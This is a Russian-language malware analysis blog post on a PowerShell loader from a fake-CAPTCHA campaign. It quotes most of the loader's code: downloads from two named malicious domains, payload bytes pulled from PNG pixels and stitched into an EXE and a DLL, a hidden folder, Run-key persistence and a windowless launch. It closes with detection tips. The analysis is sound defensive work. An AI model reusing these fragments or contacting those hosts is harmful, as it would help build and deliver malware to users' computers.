Наверное, многие уже видели или хотя бы слышали про цепочки атак, где пользователю показывают красивую фейковую Cloudflare CAPTCHA, а дальше предлагают выполнить несколько действий «для проверки».
Схема далеко не новая. Более того, я вообще не удивлюсь, если кто-то скажет: «Да мы это уже видели». И будет прав. Но, как обычно, старые идеи периодически достают из шкафа, немного перекрашивают и снова пускают в ход.
Вся эта история опять упирается в одну простую вещь — внимательность пользователя. Если человек сам выполнит то, что ему подсунули, дальше защита компьютера уже может не сильно помочь.
В этот раз мне попался файл, связанный с кампанией TerminalFix. Называется он довольно незатейливо:
0fa1d62be17c1589a778f4bf25fa8ced211369fc.ps1.bin
Расширение .bin здесь, конечно, выглядит немного подозрительно, но внутри оказался обычный PowerShell. И вот тут я сначала подумал, что сейчас будет очередной скрипт на пару десятков строк с IEX, FromBase64String и прочей классикой жанра.Но нет. Здесь решили немного поинтереснее.
PowerShell скачивает PNG, открывает его как изображение, проходит по пикселям, собирает из них байты и получает настоящий бинарный файл. А потом делает это ещё несколько раз. В общем, обычный PowerShell сегодня решил немного побыть архиватором.
С чего начинается загрузчик
В начале скрипта находятся два домена:
$contentDomains = @( "bestsocialmedianewspapper.com", "offlineupdater.com" )
Сразу скажу: названия довольно забавные.
Особенно bestsocialmedianewspapper.com. Выглядит как домен, который кто-то придумал за пять минут до дедлайна. Но дальше становится интереснее. Скрипт определяет три ресурса:
$imageUrl1 = "/api/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=QANI3O7YPM59wwr8jwfB8iJV6P8AaaBaz56RrXup.png" $imageUrl2 = "/api/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=b9SGYS6QMqQ1wm2awfiXmaeXj0FYfQrKZY4oUcP4.png" $imageUrl3 = "/api/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=9KBgTxBOhM5kQ6wypbbZcQHzwzVUoiNv0WE5vKEa.png"
Сами имена PNG ничего особенного не дают. Они просто выглядят как случайный набор символов.Дальше скрипт выбирает стандартную для Windows директорию:
$outputBasePath = [Environment]::GetFolderPath("CommonApplicationData")
На обычной Windows это:
C:\ProgramData
А внутри неё будет создан каталог:
WindowsLogonKeyManager_<случайные символы>
То есть уже на старте автор пытается сделать всё максимально похоже на какой-нибудь системный компонент.
Немного красивых названий
Вот это мне особенно понравилось:
$serviceName = "Windows Logon Key Manager" $displayName = "Manages secure logon key storage and authentication"
Звучит солидно. Прямо хочется поверить, что сейчас запустится какой-нибудь важный системный сервис, который занимается ключами авторизации. Но есть маленькая проблема.
Никакого такого системного сервиса здесь нет.
Это просто название.
Причём дальше сам скрипт вообще не создаёт Windows Service. Он использует HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Получается довольно классическая история: назвать вредоносный файл чем-нибудь серьёзным — половина маскировки уже готова.
Самое интересное начинается с PNG
Вот здесь я уже остановился чуть внимательнее.
За извлечение данных отвечает функция:
function Extract-RawFileFromImage {
Она загружает System.Drawing:
Add-Type -AssemblyName System.Drawing
и открывает файл как обычную картинку:
$bmp = New-Object System.Drawing.Bitmap $ImagePath
На этом моменте можно подумать:
Ну PNG и PNG. Может, просто картинка для отвлечения внимания?
Нет.
Дальше скрипт начинает перебирать каждый пиксель:
for ($y = 0; $y -lt $bmp.Height; $y++) { for ($x = 0; $x -lt $bmp.Width; $x++) { $c = $bmp.GetPixel($x, $y) $ms.WriteByte([byte]$c.R) $ms.WriteByte([byte]$c.G) $ms.WriteByte([byte]$c.B) $ms.WriteByte([byte]$c.A) } }
То есть берутся четыре значения:
R G B A
и записываются подряд в MemoryStream.
Получается примерно такая логика:
PNG ↓ пиксели ↓ R G B A R G B A R G B A R G B A ↓ массив байтов ↓ payload
И вот тут PNG перестаёт быть просто картинкой.
По сути, это контейнер.
Где начинается файл
После обработки всех пикселей скрипт получает массив:
$allBytes = $ms.ToArray()
Но использовать его целиком он не собирается. Первые восемь байт интерпретируются как Int64:
$dataLength = [BitConverter]::ToInt64($allBytes, 0)
То есть внутри этого «изображения» лежит ещё и информация о размере полезной нагрузки.
Условно:
+------------------+---------------------------+ | 8 байт | payload | | размер payload | настоящий бинарный файл | +------------------+---------------------------+
После этого проверяется, что размер не выходит за пределы полученного массива:
if ($dataLength -gt ($allBytes.Length - 8)) { throw "Invalid data length specified in image" }
И затем данные сохраняются:
[System.IO.File]::WriteAllBytes( $OutputFilePath, $allBytes[8..(7 + $dataLength)] )
То есть никакой магии. Есть картинка, есть массив байтов, первые 8 байт говорят, сколько данных брать, всё остальное — payload.
Первый PNG превращается в EXE
Теперь посмотрим, что происходит с первым файлом.
Скрипт создаёт путь:
$fullExePath = Join-Path $fullFolderPath "LockScreenContentServer.exe"
А потом:
Extract-RawFileFromImage ` -ImagePath $fullImagePath1 ` -OutputFilePath $fullExePath
Получается:
PNG ↓ извлечение байтов ↓ LockScreenContentServer.exe
Само имя LockScreenContentServer.exe тоже довольно показательное. Выглядит так, будто это какой-то штатный компонент Windows, связанный с экраном блокировки. На самом деле это просто имя файла. Вредонос не стал придумывать что-то вроде super_malware_final_v7.exe. Зачем? Намного интереснее выглядеть скучно и системно.
А теперь DLL разрежем пополам
С первым PNG всё понятно. Но дальше начинается ещё одна интересная штука. Второй PNG превращается в:
part1.tmp
А третий:
part2.tmp
После чего скрипт читает оба файла:
$part1Bytes = [System.IO.File]::ReadAllBytes($tempPart1) $part2Bytes = [System.IO.File]::ReadAllBytes($tempPart2)
И буквально склеивает:
$combined = $part1Bytes + $part2Bytes
После чего пишет результат:
[System.IO.File]::WriteAllBytes( $fullDllPath, $combined )
А $fullDllPath указывает на:
dui70.dll
То есть вся конструкция выглядит так:
PNG #1 ↓ LockScreenContentServer.exe PNG #2 ↓ part1.tmp \ +----> dui70.dll / PNG #3 ↓ part2.tmp
И мне эта часть как раз понравилась больше всего. DLL просто разделили на две части и спрятали каждую часть в отдельной картинке. Никакого сложного криптографического протокола. Никакого AES на 15 тысяч строк кода.
Просто:
разделили → спрятали → скачали → склеили.
Иногда самые простые вещи работают лучше всего.
Временные файлы долго не живут
После сборки DLL временные части удаляются:
Remove-Item -Path $tempPart1 -Force Remove-Item -Path $tempPart2 -Force
А в самом конце удаляются и сами PNG:
Remove-Item -Path $fullImagePath1 -Force Remove-Item -Path $fullImagePath2 -Force Remove-Item -Path $fullImagePath3 -Force
То есть если смотреть на файловую систему уже после выполнения скрипта, мы можем вообще не увидеть исходные PNG.
Было:
PNG PNG PNG
Потом:
part1.tmp part2.tmp
Потом:
dui70.dll
А затем и временные части исчезли. Следов становится немного меньше.
Зачем нужен второй домен
Скачивание реализовано в отдельной функции:
function Download-WithFailover
Внутри:
foreach ($domain in $contentDomains) {
То есть скрипт перебирает оба домена. Если первый не отвечает:
catch { Write-Log "Download failed from $domain : $_" "WARNING" }
он просто идёт дальше.
Получается простая схема:
bestsocialmedianewspapper.com | | ошибка v offlineupdater.com
Это обычный failover. Если один домен уже заблокировали, второй всё ещё может работать.
И ещё один интересный момент — POST
Для загрузки используется:
Invoke-WebRequest ` -Uri $url ` -OutFile $DestinationPath ` -Method POST
То есть файл скачивается через HTTP POST. Для обычного скачивания это довольно странный выбор. GET здесь был бы вполне естественным. Поэтому для сетевого детекта это тоже может быть полезным признаком. Особенно если рядом мы видим:
PowerShell + POST + PNG + ProgramData + создание EXE/DLL
В таком сочетании уже хочется посмотреть, что именно там происходит.
Маскируем папку
Когда все файлы готовы, скрипт выполняет:
attrib +h +s "$fullFolderPath"
Здесь всё просто.
+h — Hidden.
+s — System.
То есть каталог получает атрибуты скрытого и системного.
Например:
C:\ProgramData\WindowsLogonKeyManager_x8k29asd
обычным пользователем уже не так просто увидеть. Хотя, конечно, от нормального анализа это вообще не спасает. attrib — не волшебная кнопка «спрятать вредонос».
Persistence
Теперь самое интересное — как всё это запускается после перезагрузки.
Используется:
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
А затем:
Set-ItemProperty ` -Path $regPath ` -Name $runName ` -Value $fullExePath
Имя значения тоже генерируется случайно:
$runName = $serviceName + " " + (Get-SecureRandomName -Length 8)
То есть условно в реестре может появиться:
Windows Logon Key Manager a82k91fd
а значением будет путь:
C:\ProgramData\WindowsLogonKeyManager_xxxxxxxx\ LockScreenContentServer.exe
И вот здесь окончательно становится понятно, что Windows Logon Key Manager — это просто красивое название. Windows Service не создаётся. Используется обычный автозапуск через Run.
Сам запуск тоже сделали потише
После всех этих приготовлений запускается:
cmd.exe
с аргументом:
/c "$fullExePath"
При этом:
$processInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden $processInfo.CreateNoWindow = $true
То есть консоль пользователю показывать не собираются.
Получаем:
powershell.exe ↓ cmd.exe ↓ LockScreenContentServer.exe
И всё это без красивого чёрного окна, которое внезапно появляется посреди рабочего стола.
А зачем вредоносному ПО вообще лог?
Вот здесь я немного удивился.
Скрипт сам пишет лог:
Add-Content ` -Path "$outputBasePath\WindowsLogonKeyManager.log" ` -Value $logEntry
Получается:
C:\ProgramData\WindowsLogonKeyManager.log
Туда попадает информация о том, что делает загрузчик.
Например:
Initializing Windows Logon Key Manager Created working folder Downloading ... Extracting ... Combining parts ... Starting ...
С одной стороны, для вредоноса это лишний артефакт. С другой — во время отладки такой лог очень удобен. Я бы даже сказал, что автор немного помог аналитику. Не каждый день вредонос сам рассказывает тебе, что он только что сделал.
Что в итоге получилось
Если собрать весь скрипт в одну картинку, то получается примерно следующее:
Фейковая Cloudflare CAPTCHA | v PowerShell | +----------------------+ | | v v bestsocialmedianewspapper.com offlineupdater.com | | +----------+-----------+ | PNG #1 #2 #3 | +-------------+-------------+ | | | v v v EXE part1 part2 | \ / | \ / | +---------+ | | | dui70.dll | v LockScreenContentServer.exe | +-- скрытая папка | +-- HKCU\...\Run | +-- запуск без окна | +-- удаление PNG и TMP
И вот что мне здесь понравилось с точки зрения анализа. На самом деле код довольно простой. В нём нет какой-то космической обфускации, огромных Base64-строк или километров PowerShell. Но автор аккуратно собрал несколько вещей в одну цепочку: PNG вместо обычного бинарника, разделение DLL на две части, случайные имена каталогов, маскировка через Hidden + System, автозапуск через Run и запуск без окна. Каждый приём сам по себе довольно простой. А вместе получается уже вполне рабочий загрузчик.
Что искать при анализе
Если бы я искал подобную активность в EDR или Windows-логах, то в первую очередь смотрел бы на комбинацию событий.
Например:
powershell.exe ↓ Invoke-WebRequest ↓ HTTPS POST ↓ PNG в C:\ProgramData ↓ System.Drawing.Bitmap ↓ создание .exe / .dll ↓ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ↓ cmd.exe ↓ запуск подозрительного EXE
Особенно интересной становится ситуация, когда PowerShell скачивает файл с расширением .png, а практически сразу после этого появляется новый PE-файл. PNG сам по себе никого не пугает. PNG + PowerShell + создание EXE — уже совсем другой разговор.
Итог
Файл 0fa1d62be17c1589a778f4bf25fa8ced211369fc.ps1.bin оказался не конечным вредоносом, а загрузчиком.
Его задача достаточно понятная: скачать три изображения, вытащить из них бинарные данные, собрать EXE и DLL, сохранить всё это в C:\ProgramData, настроить автозапуск и запустить первый компонент. Самое интересное здесь — способ доставки.
Вместо того чтобы просто скачать:
malware.exe
мы получаем:
image.png image.png image.png
А уже на компьютере пользователя эти картинки превращаются в:
LockScreenContentServer.exe dui70.dll
И именно такие вещи мне в анализе и нравятся. Снаружи вроде лежит обычная картинка, а если посмотреть чуть глубже — внутри уже совсем другой праздник.
Но на этом разбор останавливаться рано.
PowerShell мы разобрали. Теперь самое интересное — посмотреть, что именно находится внутри LockScreenContentServer.exe и dui70.dll. Потому что загрузчик нам только открыл дверь, а что стоит за этой дверью — это уже отдельный вопрос, но это уже совсем другая история.

